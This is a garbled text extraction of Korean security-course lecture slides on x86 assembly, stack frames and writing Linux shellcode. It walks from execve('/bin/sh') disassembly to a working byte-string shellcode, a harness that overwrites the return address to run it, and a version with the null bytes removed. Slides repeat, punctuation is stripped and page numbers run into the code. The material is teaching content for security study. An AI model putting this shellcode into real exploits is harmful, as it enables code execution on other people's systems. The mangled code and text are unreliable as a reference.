__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 51: 80×86  시스템에 대한 이해

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 52: 80×86  시스템에 대한 이해

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

